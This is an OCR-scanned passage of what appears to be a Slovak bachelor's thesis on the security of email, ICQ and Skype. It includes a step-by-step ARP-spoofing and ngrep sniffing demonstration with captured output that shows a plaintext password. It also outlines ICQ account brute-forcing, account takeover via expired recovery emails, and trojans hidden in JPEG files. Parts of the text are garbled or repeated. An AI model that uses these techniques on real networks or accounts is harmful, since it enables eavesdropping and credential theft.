podporuje Sifrovanie pomocou SSL (Secure Socket Layer) alebo modernejSieho TLS
(Transport Layer Security), ktoré Sifruje informacie 128 resp. 512 bitovym klacom.

Spojenie POP3 a SSL/TLS sa zvykne oznacovat ako POP3S.

3.3.2 Protokol SMTP
Protokol SMTP je neautentizovany a neSifrovany. Server, ktory nema nastavené

Ziadne pravidla pre preposielanie a preposiela vSetku postu, o ktorej preposlanie je
poZiadany, sa nazyva open relay. Takéto servery si pouZivané pre rozosielanie spamu.
Existuji databdzy takychto serverov, ktoré mozu byt potencionalnymi pbvodcami
nevyZiadanej posty, napr. ORDB (Open Relay Database). DalSim rieSenim, ako sa branit’
proti nevyZiadanej poste sa tzv. black listy, ¢0 su zoznamy uzivatelov a domén, ktoré su
filtrované, pretoZze z nich prichddza nevyZiadand posta. SofistikovanejSou metodou su
spamové filtre. Jednym z programov, ktory takato filtraciu robi je spam assassin. Ten

prechddza poStu a v jej obsahu hrada znaky nevyZiadanej posty. Kazdej podobnosti je
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priradena urcita trestnd bodova hodnota a pokial’ sucet tychto trestnych bodov dosiahne
administratorom uréent hodnotu, je mail ozna¢eny za spam. DalSou moznostou, ako
odhalit’ spam, su tzv. databazy spamu. Email je zahashovany nejakou funkciou a vysledok

je porovnany s databazou.

3.3.3 Protokol IMAP
Protokol IMAP vyZaduje trvalé (tzv. on-line) pripojenie k e-mailovej schranke.

Vdaka tomu je mozné s celou postovou schrankou plne pracovat’ z 'ubovol'ného miesta.
Vsetky spravy a zloZky st uloZzené na poStovom serveri a na pocita¢ sa stahuju len
potrebné informacie, takZe pri zobrazeni priecinka sa stiahnu len hlavicky sprav a ich
obsah az v pripade, Ze spravu chce uzivatel’ precitat. U jednotlivych sprav sa uchovava ich
stav (neprecitand, odpovedat’, ddlezitd), uzivatel moze spravy presuvat’ medzi zlozkami,
priecinky vytvarat, mazat’, prehladavat’ na strane servera atd’. Protokol umoziuje sucasné
pripojenie viacerych klientov stcasne. Oproti protokolu POP3 je IMAP4 vel'mi
komplikovany protokol. Jeho implementacia je znaéne zlozitejSia a teda aj nachylnéjsia k
chybam. Navzdory tomu IMAP pouZiva mnoho e-mailovych serverov a klientov ako jeho

Standardnu pristupovd metodu.
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4. Testy bezpecnosti komunika¢nych programov

4.1 Testy bezpecnosti komunika¢ného programu 1CQ
4.1.1 Zist’enie IP adresy uzivatela ICQ

Na tvod jednoduchy postup ako Gto¢nik moze zistit’ IP adresu uZivatel'a, s ktorym
komunikuje cez 1CQ. Do prikazového riadku Start/AccessoriessfCommand Prompt sa

natypuje prikaz netstat —n.

Active Connections

Proto Local Address Foreign Address State

TCP 10.99.88.61:80 10.05.0.3:2611 ESTABLISHED
TCP 10.99.88.61:1083  10.01.0.2:445 ESTABLISHED
TCP 160.20.105.90:2043 195.98.10.24:80 CLOSE_WAIT
TCP 160.20.105.90:2097 147.32.110.2:80 CLOSE_WAIT
TCP 160.20.105.90:2106 193.85.233.106:80 CLOSE_WAIT
TCP 160.20.105.90:2107 193.85.233.106:80 CLOSE_WAIT
TCP 160.20.105.90:2110 194.228.3.17:80 ESTABLISHED
TCP 160.20.105.90:2113 194.108.145.136:80 CLOSE_WAIT
TCP 160.20.105.90:2124 194.228.3.17:110  TIME_WAIT
TCP 160.20.105.90:2127 212.65.220.69:80 ESTABLISHED
TCP 160.20.105.90:2129 194.149.103.101:80 CLOSE_WAIT

Tab. ¢. 1: Aktivne TCP spojenia
Zdroj: Vlastny

Tabul’ka ukazuje vietky aktivne TCP spojenia z PC. Prvy stipec obsahuje protokol
TCP, druhy IP adresu (jedna je 10.99.88.61 pre privatnu siet’ a druhd 160.20.105.90 pre
Internet) a tretia IP adresu pocitada, s ktorym je v spojeni. Cislo za dvojbodkou obsahuje
port, na ktorom je pripojenie realizovano. Nasledne sa odosle sprava uzivatel'ovi na ICQ,

ktorého IP chcete zistit’. PoCas odosielania spravy sa odosiela znova prikaz netstat-n
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Active Connections

Proto Local Address Foreign Address State

TCP 10.99.88.61:1083  10.03.04.2:445 ESTABLISHED
TCP 160.20.105.90:2043 195.98.10.24:80 CLOSE_WAIT
TCP 160.20.105.90:2097 147.32.110.2:80 CLOSE_WAIT
TCP 160.20.105.90:2106 193.85.233.106:80 CLOSE_WAIT
TCP 160.20.105.90:2107 193.85.233.106:80 CLOSE_WAIT
TCP 160.20.105.90:2110 194.228.3.17:80 ESTABLISHED
TCP 160.20.105.90:2113 194.108.145.136:80 CLOSE_WAIT
TCP 160.20.105.90:2127 212.65.220.69:80 ESTABLISHED
TCP 160.20.105.90:2129 194.149.103.101:80 CLOSE_WAIT
TCP 160.20.105.90:2130 212.65.194.96:8084 ESTABLISHED

Tab. ¢. 2: Aktivne TCP spojenia
Zdroj: Vlastny

Teraz sa tabulka zmenila. AvSak pre nés je ddlezity posledny riadok, ktory ukazuje,
Ze PC je v aktivnom spojeni s 212.65.194.96 na port 8084. A prave to je poZadovana IP
adresa. Pomocou zistenej IP adresy sa daju realizovat’ d’alSie utoky. Niektoré klienty, ktoré
pouzivaju podobny protokol ako ICQ, obsahuju IP adresu uzivatela priamo v adresary o

je bezpecnostny bug, ktory sa da 'ahko zneuzit'.

4.1.2 Sniffing

Vicsina sieti dneska je ethernetova siet, na ktorej sa ako prenosovy protokol pouziva
IP protokol. Siet' tohto typu funguje tak, ze ak chce jeden stroj odovzdat informaciu
(paket) inému stroju, vysle tento paket do siete. Paket obsahuje adresu cielového stroja.
Paket vSak v sieti vidia vSetky stroje, ale len stroj s poZzadovanou adresou ho prijme.
Ostatné stroje paket jednoducho ignoruju.

Doélezity moment je, Zze paket vidia vSetky stroje v sieti. Tento paket vstupi do
sietovej karty (NIC - network interface card), kde sa na jeho cielovl adresu aplikuje
hardverovy filter. Ten rozhodne, ¢i sa paket odovzda d’alej do systému, alebo sa ignoruje.
Viacsina ethernetovych NIC vSak umoznuje tento hardverovy filter vypnut. Ak je filter
vypnuty, do systému vchadzaju vSetky pakety, systém ich nasledne moze odovzdavat
uzivatel'skym programom a tie mézu celu sietovi komunikaciu ukladat’ do suboru. V iom

potom méze zaskodnik najst’ vel'mi zaujimavé alebo zneuzitelné informacie.
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Na adresaciu odosielatel'a a prijemcu na Grovni IP sa pouzivaju hardverové adresy. Ide o 6
bajtové Cisla, napriklad: 02:4F:30:00:AE:10. V pakete, ktory sa §iri sietou sa nachadza
polozka ciel'ova adresa. Tato polozka obsahuju hardverovu adresu NIC prijemcu paketu.
Dohoda zabezpecuje, Ze vSetky vyrobené NIC maju réznu hardverovi adresu a preto na
sieti mbze byt maximalne jedina NIC s danou cielovou adresou. Okrem paketov, ktoré su
smerované priamo na konkrétnu adresu (unicast), existuju aj broadcast pakety, ktorych
cielova adresa je FF:FF:FF:FF:FF:FF. Tieto pakety st ur¢ené pre vSety NIC, ktoré su v
sieti. Tretim typom adresacie je multicast, kde je paket urCeny pre skupinu sietovych
kariet. Takéto pakety maju ako cielova adresu uvedené 01:00:5E:xx:xx:xx , kde xx:xx:xx
identifikuje, o ktory multicast zoznam kariet sa jedna.

ZaSkodnik na sieti moZe teda jednoducho vypnut’ hardverovy filter na karte a tym
zachytit’ vSetky pakety, ktoré sa po kabli dostant aZ k jeho siet'ovej karte. Na vypnutie
filtra v linuxe sta¢i mat’ prava root a pouzit prikaz ifconfig s parametrom promisc. Z
internetu sa vSak daju stiahnut’ celkom sofistikované programy, ktoré tito pracu urobia za

uto¢nika a ukazu len hotovy vysledok. Klasickym prikladom je program tcpdump.

o + o +
I I I I
| modet |============| SUITCH |
I I I I
o + o +
I I I I
Fom + | | +———t
| 192.165.1.1 | | | |
o + o I e S +
| PC1 | | WT | | PC2 |
o I e S +
I I I
= + | o +
I I I
e + A + +
| 192.165.1.200 | | 192.165.1.10 | | 192.165.1.4 |
Fom - + + +

Obr. ¢. 4 Priklad LAN siete
Zdroj: Vlastny
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IP a MAC adresy pocitacov:
MODEM MAC: 01:12:23:34:45:56
IP: 192.168.1.1
PC1 MAC: 01:23:45:67:89:12

IP: 192.168.1.200
VY MAC: 00:11:22:33:44:55
IP: 192.168.1.10

Predstavte si komunikaciu medzi PC1(192.168.1.200) a modemom(192.168.1.1). Ja
ako Uto¢nik musim oklamat’ modem, ze som PC1 a PC1, Ze som modem. Bude na to

program arpspoof z balicku dsniff.

desktop:~# apt-get install dsniff - Intalacia v Debiane

V prvom rade je potrebné zapnut’ podporu routra v jadre tymto prikazom:
desktop:~# echo "1" > /proc/sys/net/ipv4/ip_forward

Teraz treba oklamat’ modem, ze som PC1 a PC1, Ze som modem.

desktop:~# arpspoof -t 192.168.1.1 192.165.1.200

200 is-at 0O0:11:22:33:44:55
200 is-at 0O0:11:22:33:44:55
200 is-at 0O0:11:22:33:44:55
200 is-at 0O0:11:22:33:44:55

O0:11:22:33:44:55 01:12:23:34:45:56 0806 42: arp reply 192.165.
O0:11:22:33:44:55 01:12:23:34:45:56 0806 42: arp reply 192.165.
O0:11:22:33:44:55 01:12:23:34:45:56 0806 42: arp reply 192.165.
O0:11:22:33:44:55 01:12:23:34:45:56 0806 42: arp reply 192.165.

Obr. ¢. 5 Vypis z arpspoof
Zdroj: Vlastny

Modemu vravim Ze PC1 ma MAC adresu 00:11:22:33:44:55 a nie 01:23:45:67:89:12. Tym

padom to smeruje na mna.

desktop:~# arpspoof -t 192.168.1.200 192.165.1.1

O0:11:22:33:44:55 01:23:45:67:89:12 08068 4Z: arp reply 192.165.1.1 is-at 00:11:22:33:44:55
O0:11:22:33:44:55 01:23:45:67:89:12 08068 4Z: arp reply 192.165.1.1 is-at 00:11:22:33:44:55
O0:11:22:33:44:55 01:23:45:67:89:12 08068 4Z: arp reply 192.165.1.1 is-at 00:11:22:33:44:55
O0:11:22:33:44:55 01:23:45:67:89:12 08068 4Z: arp reply 192.165.1.1 is-at 00:11:22:33:44:55

Obr. &. 6 Vypis z arpspoof
Zdroj: Vlastny
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PC1 vravime Ze modem ma MAC adresu 00:11:22:33:44:55 a nie 01:12:23:34:45:56. Tym

padom to smeruje opét’ na mna.

Teraz sa PC sprava ako router. Zoberie packet, pozrie komu patri a tam to odosle.

Samozrejme teraz je uZ moznost’ jeho prezerania ktora predtym nebola.

Oklamal som PC1 a MODEM a na radu prichadza sniffer - ja som si vybral ngrep.

desktop:~# ifconfig

ethO  Link encap:Ethernet HWaddr 00:11:22:33:44:55
inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:280353 errors:0 dropped:0 overruns:0 frame:0
TX packets:213930 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:342933791 (327.0 MiB) TX bytes:35058125 (33.4 MiB)
Interrupt:27 Base address:0xa000

V tomto momente beZime na karte eth0. TakZe spustim ngrep.
desktop:~# ngrep

T 192.1658.1.10:38273 -» 209.85.135.97:443 [AF]
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Obr. &.7 Vypis z arpspoof
Zdroj: Vlastny

Teraz je mozné odhytavat’ konverzaciu na zaheslovanom channeli kde sa ja nedostanem

ale user pokus &no.
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desktop:~# ngrep |grep '#blabla’
:pokus!~stlgd3r@adsl-dyn11.11-111-11.t-com.sk PART #blabla..
:pokus!~stlgd3r@adsl-dyn11.11-111-11.t-com.sk JOIN :#blabla..
:pokus!~stlgd3r@adsl-dyn11.11-111-11.t-com.sk JOIN :#blabla..
:pokus!~stlgd3r@adsl-dyn11.11-111-11.t-com.sk JOIN :#blabla..
:pokus!~stlgd3r@adsl-dyn11.11-111-11.t-com.sk PRIVMSG #blabla :Zdravim vas :>..
:pokus!~stlgd3r@adsl-dyn11.11-111-11.t-com.sk PRIVMSG #blabla :To je len test pre

bakalarsku pracu a sniffovanie konverzacie.
:xaxaal~xaxaa@adsl-dyn11.11-111-11.t-com.sk PRIVMSG #blabla :No vitaj tu medzi

nami. :>

Je mozé exportovat’ konverzaciu do log.txt a po skonceni alebo aj za priebehu sa prezerat’.
Exportovanie pomocou prikazu:

desktop:~# ngrep > log.txt

desktop:~# cat log.cxt |grep password
gQ_ngin{..text—align:right;..float:right:..whitespace:normal;.}..#user_landing4,
#password_landing4 {..width:115px; .. font-weight:bhold; . .background-color:#FOEL1EE; .} ..a:link.{ font-
weight:bold; color: #804000; text-decoration:none; }
ntent-Length: 52....user=xoXotko&clear=trusspassword=sniffingsserver=skd

Obr. ¢.8 Vypis z arpspoof
Zdroj: Vlastny

Mozme sledovat’ webové stranky ktoré uzivatel’ prezera...

desktop:~# cat log.txt |grep .cz

"S{"FgEL.!Tk.Vj..,.Z.D_q._s.H‘.‘}!Hq"zF.Yd,uX?QK.ex Tn.Vt.ho#*, ....... Fp.+#%*4Y..Ri.cz
%".._V#SD%?;..#.SV.H‘ nD....jLAhw.IP.S:—_w....*r'Hp%#B.HZ.AH.KQ d}.E:.SS.Zr....ZD._t.ZW#SZlJLJCD.mf
faz.gx+.*GLE. Tk. V¥ . jjweuw Px.Uy.oLSg| 7Ep-)6.C..0..

HhoB0 B0 BT 000008 o@BeoFooc@oooooooan '@cooltlooBBlooocooooo Lp.T.. .IDAT..ZM302....0..... Hx,.3..6.
E A O R T ) F LA = B czF..=.@..n=.zF..0...
{*T...0umc.n..W.4........P.>q...%.......K.V.®.. .o ' W3 [<.wfRE. ... {

EB8%cccoco0ocoocooonooonooao Mocooooao
focoocoooo noocoooooCOOOODOOD0O00DOOOCOOOONO0000000000O00O000000GD diE8] &0 c coccooooooooooooooooooooooooog

guocoooocoooo www . divokekmeny.cz. ... .

............. AW o Gl el =l ai =2 c B%o 0 coco oo oo oo 0@o o 0 c BEHD B LEREHRE o 2B 0cTo oo 0@o oo c@o

bpooooooooOoOO Y o Gl el d=2lai =2 . B®o c cocoooooooo @c ¢ 0 0 B0 ER . LENEHEE . 8280 0 Pooooooooo 4.8.0n3. inhogames . o
+.C B
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Blooooooooooao WO, ivasp . ihfo. v v e s e <. .ns.wmebhovy-servis.cz. . info.vas-

hosting.=w..D..*0...... 0.0

Obr. ¢.9 Vypis z arpspoof
Zdroj: Vlastny
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...pripadne vidiet’ aké videa pozera na www.youtube.com

desktop:~# cat log.txt |grep youtube

GET fget wvideo?video id=0t0FGyhBACE&t=viVQal1PpoFHbml TyRwteKxgd0¥2Y—
haSKHEfCvwoTheg=cel=detailpagesps=efmt=34gasv=Z&noflv=1 HTTP/1.1..Host: <a href="http://
wuw. youtuhe, com. . User-Agent: ™ title=""rwyw.youtube.com. . User-Agent:</a> Mozillas5.0 (H11l; T: Linux
igg6; sk; rv:l1.9.1.3) Gecko/ZO090324 F

=0&ad event=3 HTTP/1.1..Host: <a href="http://wuw.youtube.com. . Tser-Logent: ™
ticle=""rwyy, youtube,.com. . User-Agent: </ a> Mozilla/s5.0 (X1l; U: Linux ié86; =k; rv:il.92.1.3)
Geclko,/ 20090824 Firefox/3.5.3..Accept: text/htwl,application/xhtml+xml,application/ xml;g=0.9, %/
*rg=0.8..Accept-Lancuage: sk, o

GET fadsense_script.html?divId=watch—channel—brand—div&depth=2 HTTP/1.1..Host: <a href="http://
W, youtube ., com. . Tser-Agent: ™ title=""ruwww.youtube.com. . Tser—-Agent:</a> Mozillass5.0 (X11:; T Linux
i686; =k; rw:l1l.9.1.3) Gecko/20090824 Firefox/3.5.3..Accept: text/html,application/xhtml+xml,appli

sk,cs:q=0.8,en—us:q=0.5,en;q=0.3..Accept-Encoding: gzip,deflate..locept-Charset:

I80-8859-2 , utf-8;gq=0.7, ¥;g=0.7. .Eeep-Ailive: 300..Connection: keep-alive..Referer: <a href="http://
Wiy . youtuhe . comf vatch?v=0t0FGyhERCEefeature=channel. . Cookie: " title="http://vww. youtube. con/ watch?
w=0t0FGyhESCSefeature=channel. .Cookie: ">http://www. youtube . com/ watch?
w=0t0FGyhBsCEefeature=channel. .Cookie:</a>

Obr. ¢.10 Vypis z arpspoof
Zdroj: Vlastny

Presne tymto sp6sobom sa da realizovat’ sledovanie konverzacie na icq, len je potrebné

upravit’ prikazy.

4.1.3 Hacking ICQ

K hackovaniu ICQ je na Internete vela volne dostupnych programov a utilit. K
tomuto testovaniu som pouZil dva programy IPDbrute2 a UIN_PASS_GEN. Na uvod som
pouZil program UIN PASS GEN pre vygenerovanie zoznamu hesiel a ¢isel ICQ (UIN).
Pre vygenerovanie takéhoto listu je potrebny este Standardny zoznam hesiel, z ktorého bol
vygenerovany ten mdj. Je mozné ho vyrobit’ alebo stiahnut’ z Internetu.

TakZe som zobral zoznam Standardnych hesiel a v UIN_PASS _GEN uviedol k nemu
cestu. Potom bolo potrebné zadat’ rozmedzie UIN Ccisel a tiez sa musela nastavit’ cesta do
.xt stboru, ktory obsahoval vygenerované ¢isla a hesla. Mali tento tvar UIN; Password
Dalej bol potrebny zoznam Proxy servera pre IPDbrut2. Najprv sa do IPDbrut2 zadala
cesta k zoznamu Proxy serverov a k zoznamu vygenerovanych hesiel a ¢isel UIN. V

stbore goog.txt a bad.txt sa zapisovali Uspesné a nelspesné pokusy.

Dalsi sposob hackovania ICQ sa da realizovat’ pomocou mftveho - primary mailu.
Sestmiestne UIN sa generovali pri registracii cca. pred 5 rokmi. Stava sa, Ze uZ niektoré
maily neexistuji. TakZe sa vezme UIN, ktory chce utoénik nabtrat’ a za¢ne preverovat
primary. Databazu primary mailov je mozné néjst’ na Internete. Uto&nik ziska primary mail
napriklad pika@hotmail.net a na hotmail skdSa registrovat’ tento e-mail. Ked’ sa mu podari

zaregistrovat’, zvitazil. Ma k dispozicii UIN a email, ¢iZe mu staci pripojit sa na a
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www.icg.com / password a skisat’ obnovovat’ heslo. Je to sice primitivny a vel'mi zdihavy

proces, ale aj v tomto pripade moze byt atocnik Gspesny.

V dnednej dobe sa da “napisat* trojan Specialne pre tento ucel bez velkych
problémov. Tymto spésobom sa da ziskat’ heslo k & RQ, Miranda, Trillian a tieZ v tomto
pripade ICQ. Jediny problém moZe nastat’ v presvied¢ani ¢loveka aby si ho stiahol na
HDD. Najlepsi sposob je, Ze sa trojana schova do. jpeg suboru a k tomu napisat’ v e-maile
& sprave sikovny text. Clovek je zvedavy a tak otvori obrazok. V tom momente trojan
zacina pracovat’ a posielat’ heslo. Je to vel'mi jednoduchy a v dnesnej dobe vel'mi casto

pouzivany spdsob hackovania messengerov ¢i e-mailov.

4.2 Test komunika¢ného programu Skype

Nasledovnym testovanim som zistil, Ze komunikacia cez Skype — chat sa da tiez
odpocuvat’ pomocou viacerich utilit a programov, ktoré su vol'ne dostupné na Intenete.
Pripadne vysSie rozpisanym sniffingom. Skype-chat funguje na rovnakej baze ako ICQ.
Ako odpocuvat komunikaciu pomocou telefonovania cez Skype sa mi vyskuSat a
otestovat nepodarilo. Na testovanie som vyhradil samostatny pocita¢ s cerstvo
nainstalovanym operaénym systémom Windows XP, na ktory som nainstaloval
bezpecnostny softvér (personalny firewall + 2x antispyware). Pre sledovanie zmien
stborov a registrov, ktoré Skype vyvola, som pouzil utility: MLJSoftware: FingerPrint;
SmartLine Inc: Active Registry Monitor. V LAN bol okrem Skype pripojeny uz len pocita¢
s analyzatorom Frontline Ethertest R3.30 pre analyzu ethernetového prevadzky.
Sledovanie zmien a prevadzky som vopred metodicky rozdelil do Styroch faz: instalécia,
konfiguracia, volanie, odinstalacia.

Prakticky sa mi testovanie darilo menej, ako som dufal. PredovSetkym sa mgj
ethernetovy hub ukazal byt inteligentnejSim, ako by som si bol prave Zelal - paketovy
analyzator zachytil iba broadcast, zvy$né pakety isli pravdepodobne len do tej ethernetoveé
zasuvky, ktorej MAC adresu si u nej zaregistroval. Analyzu paketov som preto realizoval
az pri druhom pokuse na inom hube.

Iné tazkosti sledovanie plyni z toho, Ze ak sledujem zmeny na PC vykonavané
jednym programom, nemali byt spustené¢ ziadne iné procesy. Akakol'vek aktivita sa
celkom urcite niekde prejavi a musite sa hadat’, ¢i ste ju spdsobil sdm, alebo sledovany
program. Samotné nastavovanie hlasitosti moze prepisat’ rozne kI'i¢e v registroch, polozky

kmixer, jedno spustenie prehliadaca vedie k dalekosiahlym zmenam réznych ulozenych
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hodn6t Internet Exploreru, menia sa polozky nedavno otvorenych suborov, pri marnom
odstranovani zachripnuti z linky zadanim adries "lepSich serverov DNS" sa prehadzu
zaznamy siet'ovej konfiguracie.

Skype si v nadzi vystaci s jedinym povolenym, z pocitaca iniciovanym spojenim cez
port 80 na protokolu TCP. KedZe touto triedou sokety vyhladavaju bezny webovy
prevadzku, Skype bude (s pomocou retranslace) pracovat’ za takmer akymkol'vek NAT /
firewallom. Skype ale bude blokovany vtedy, ak firewall bude kontrolovat’ pritomnost’
protokolu HTTP v 80/TCP, pretoZe do neho sa prevadzka Skype uz nebali.

AZ na dalsie overhead v principe ale nie je problém nakoniec zabalit' vSetku
prevadzku do regularneho HTTP. Skype vSak bude preferovat, ak mu povolite vSetky
odchadzajuce spojenia pre TCP aj UDP na porty 1024 a vysSie. NAT / firewall by pritom
na odchadzajuce pakety UDP mal reagovat’ Stylom "stavovej inSpekcie paketov", tj povolit’
a spravne adresovat’ spat’ vSetky zodpovedné pakety UDP, priCom stav by mal zostat
zapisany aspon 30 sekund, odportca sa ale az hodinu.

Pre UDP hole punching Skype preferuje, aby NAPT prekladal odchadzajice UDP
port z pocitaca konzistentne, tj pre zhodny UDP port z pocitaca u ramcov idacich na rézne
verejné adresy pouZzival aj zhodnd verejna IP adresu a rovnaky UDP port. Okrem portu 80
bude Skype povdécen aj za otvorenie 443/TCP (tj bezne pre HTTPS) na NAT / firewall.
Inklinacia k UDP je logicka, ked’Ze sa tymito rdmci lepSie prenaSa hlasové prudy, TCP je
naopak vhodnejsie pre bezpecnu signalizaciu.

Na pocitaci sa Skype sa pri behu vzdy otvori aspon jeden port (je mozné ho v
konfiguracii programu zmenit, implicitne mava nahodnti hodnotu z ¢isel nad 1023) pre
prichddzajlcu aj odchadzajucu komunikaciu v UDP. Okrem toho Skype pouZiva porty (v
teste od 1030 vysSie) pre r6zne spojenia TCP. Supernodov zrejme eSte otvaraju porty 80 a
443 pre prichadzajuce komunikaciu.

Zabudovany firewall vo Windows XP si Skype prispdsobi pre svoju prevadzku
vacsinou sam, iné sa musia nastavit’.

Zkonfigurovani program Skype od spustenia aZz do oznadmenia stavu login
(prihlasenie) nadviazal v mojom pripade pocas 25 sekund spojenia pomocou UDP s asi 45
roznymi pocita¢mi, pravdepodobne supernodov, z toho len tri neodpovedali. Niektoré z
nich st uvedené v sibore shared.xml, iné nie. V ramci ndbehu sa zrejme vykonava login,
sprostredkovany cez supernodov. Pocas nabehu vznikmi dve TCP spojenia hned na
zaCiatku a dve par sekind pred dokoncenim loginu. Je mozné, ze Skype vykonava

autentifikdciu (login) paralelne dvojcestne pre vysSiu spolahlivost. Zdd sa mi, ze
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stratégiou Skype je najprv nadviazat’ spojenie na ¢o najviac supernodov a ziskat’ adresy aj
dalSich supernodov, ako ma vo svojom stbore shared.xml, aZ potom prebicha login.
Oneskorenie zaciatku loginu by mohlo byt spdsobené generaciou paru RSA klucov.
Vlastné autentizacia beZi skor cez druhy par TCP spojov ako cez ten prvotny. Po nabehu
loginu druhd dvojica spojenie udrziava v kombinacii spoja TCP aj UDP zasielanim
kratkych paketov, trochu arytmicky s intervalmi 10 alebo 20 sekund. Zd& sa, Ze tento
spbsob udrziavanej komunikacie je pouzivany pre "pohotovostny” spojenie k niektorym
supernodiim a vysvetl'ovalo by to 30sekundové poziadavky na drzanie stave spoje UDP na
firewalloch.

Pocas nadbehu vznika jediny otvoreny dotaz HTTP na server ui.skype.com s obsahom
poloZzky pouzitej verzie programu Skype a hash hodnoty uzivatela (hoci klient mal
nakonfigurované netestovat pritomnost’ novych verzii).

Pri zaciatku volania otvoril moj Skype d’alSie dva TCP spojenia (priCom prva z nich
sa nakoniec pouzilo pre prad hlasu. Coskoro po zadiatku volania bol dvakrat skiisany UDP
hole punching voci verejnej adrese naprotivku (15 ramcov s postupne sa zvysSujucim
¢islom portu), ale bez uspechu. Komunikéacia potom pokracuje cez Cerstvo kontaktovany
supernode, pred nadviazanim spojenia sa s nim otvara eSte tretia TCP spoj. Vychodiskovy
spojenie hovoru sa s partnerom nadvizovalo skoro minatu (d’al$ie pokusy st uz v poriadku
niekol’kych sekund). VSetky tieto tri TCP spoje su sprevadzané aj pakety UDP. Jeden
hlavny spoj TCP + UDP je pre prenos hlasu, d’alSie dva mozu sluzit’ bud’ ako zalozné trasy,
alebo pre pripadny prenos stborov alebo chatu, alebo ako zaloha signalizacie. Druhé dva

spoje boli opat’ udrziavané s arytmiou 10sekundovych a 20sekundovych pauz.

Ak nechce uzévatel' vstupit' s vyrobcom Skype do zmluvného vzt'ahu kvoli jeho
nadstavbovym sluzbam, mdze svojmu sukromiu mierne poméct’ tym, Ze miesto svojho
pravého mena pouZijete vhodnu prezyvku. O zadanie "Skype Name" bude vyzvani pri
prvom spusteni programu. Skype overi, Ze meno je v ramci siete Skype jedine¢né. Zaroven

sa musi k tomuto menu zadat’ heslo.

Uzivatel’ moze zadat’ svoju e-mailovl adresu — firma Skype tvrdi, ze v globalnom
indexe sa uchovava len jeho zaSifrovana hodnota; ktokol'vek presne pozna e-mailovu
adresu, moze nasledne ihned’ zistit’ vase meno v Skype. Som mierne skepticky k tomu, ako

dokonale Skype e-mailovl adresu chrani - v globalnom indexe sa rozhodne nenachadza len
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Cisto hasovana hodnota elektronickej adresy, ani HMAC, postova adresa je len nejako
zaSifrovana.

Miesta instalacnych a konfiguraénych suborov a zdznamov v registroch vykonanych
instalacnom Skype a programom Skype ramcovo zodpovedaju oficialnej dokumentacii
vyrobcu.

Skype uvadza, Ze prendSany obsah (data hovoru, prendSany subor alebo chatovej
spravy) je Sifrovany medzi koncovymi komunikujucimi uzly symetricka Sifrou AES s
dizkou kPaéa 256 bitov. Uéelom tohto §ifrovania ma byt zabezpelenie sukromia obsahu
hovoru aj v pripade, ze prudy ramcov prechadzaji cez supernodov, a vSeobecna odolnost’
proti odpocuvaniu prevadzky siete. Vlastnd vymena symetrickych klI'i¢ov ma prebiehat’
pomocou RSA. Klient Skype pritom ma mat’ kI'i¢ RSA s dizkou 1024 bitov, potvrdenie od
login servera Skype méa byt tieZ pomocou kl'i¢a RSA s dizkou 1536 bitov, resp. 2048
bitov u platenych sluZieb.

Zdoraznujem, ze koncepcia vytvorenia a praca s kI'aémi RSA musia byt vyrazne
odlisné od toho, na ¢o je uzivatel' zvyknuty napriklad z programu PGP alebo z beznych
certifikdtov X.509 v elektronickej poste. KIicova dvojica RSA sa vel'mi pravdepodobne
generuje pri kazdom spusteni programu Skype vZdy znovu a vZdy znovu certifikované
login servery. Tento certifikat sa nazyva SessionID Token (pokial’ sa nejedna o token
jedného hovoru), bude pravdepodobne spajat’ volacie meno s aktualnym verejnym klI'a¢om
RSA a sluzit pre vietku naslednl autentifikaciu v P2P prevadzky. Uvodna autentizacia
teda spociva len na dvojicu prihlasovacie meno / heslo.

Ak sa uzivatel domnieva, Ze snad’ su data sietou Skype Sifrované pomocou
prihlasovacieho hesla k sieti, potom o tom mierne pochybujem, pretoZze Skype pre pripad
zabudnutia hesla umoznuje poziadat’ o jeho reset. Pritom musi vykonat’ kontrolu e-mailu
(teoreticky by eSte hodnota e-mailu mohla byt Sifrovana i haSovana zvlast) - nahodne
vygenerované nové heslo déjde do e-mailovej schranky. Mimochodom, pretoZze e-mail
chodi Internetom otvorene, moze toto nove heslo hocikto odchytit’ a nejak dobu sa v sieti
Skype l'ahko vydavat’ za vas.

Niektori povaZzuji uvadzané informacie o AES-256/RSA za dostato¢né. Navyse sU
upokojenie tym, Ze z podstaty P2P siete nie je mozné centrdlne zachytavat’ hovory medzi
uzlami. Tym, Ze s hovory Skype Sifrované, potom maju byt bezpe¢nejsic ako bezné
hovory cez verejnu telefonnu siet’, ktoré nie su Sifrované vobec.

Problém je, Ze tento predpoklad plati len vtedy, ak st vSetky Sifrovanie a prevadzka

P2P implementovane korektne a bez chyb. PretoZe to nikto nezaruci, naopak je technicky
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rovnako dobre mozné, Ze siet’ mdZe monitorovat’ zoznam vsetkych hovorov, vytvarat
mapy kontaktov a frekvenciu hovorov (aj ked’ uzivatel' v sieti pod pseudonymom, jeho
naprotivci maju moznost’ si u uzivatel'a v zozname kontaktov uviest’ jeho skuto¢né meno, a
odtial’ je Skype mdze nakoniec 'ahko vydolovat),

Prevadzka zvolenych uzivatel'ov mdze byt odklonena cez supernodov, ktoré hovory
a data nahravaju alebo preposielaju tretej strane. Kla¢e k pouzitym Sifram moézu byt
zaslane tretej strane pre rozlustenie zachytenej prevadzky, alebo sa pouZzije osobitny slaby
kIa¢. Kvoli Sifrovaniu vSetkej prevadzky ho nie je mozné nezavisle kontrolovat’.

Rozdiel oproti klasickej telefonnej sieti by som teda videl skor v rozdielu subjektu, ktory
potencialne moze odpocuvat.

Ak nechce uzévatel’ vstipit s vyrobcom Skype do zmluvného vztahu kvoli jeho
nadstavbovym sluzbam, mdze svojmu sukromiu mierne poméct’ tym, Ze miesto svojho
pravého mena pouZijete vhodnl prezyvku. O zadanie "Skype Name" bude vyzvani pri
prvom spusteni programu. Skype overi, Ze meno je v ramci siete Skype jedine¢né. Zaroven
sa musi k tomuto menu zadat’ heslo.

Uzivatel’ m6ze zadat’ svoju e-mailovl adresu — firma Skype tvrdi, Ze v globalnom
indexe sa uchovava len jeho zaSifrovand hodnota; ktokol'vek presne pozna e-mailovl
adresu, mozZe nasledne ihned’ zistit’ vaSe meno v Skype. Som mierne skepticky k tomu, ako
dokonale Skype e-mailovu adresu chrani - v globalnom indexe sa rozhodne nenachadza len
Cisto hasovana hodnota elektronickej adresy, ani HMAC, postova adresa je len nejako
zaSifrovana.

Miesta instalacnych a konfiguraénych suborov a zdznamov v registroch vykonanych
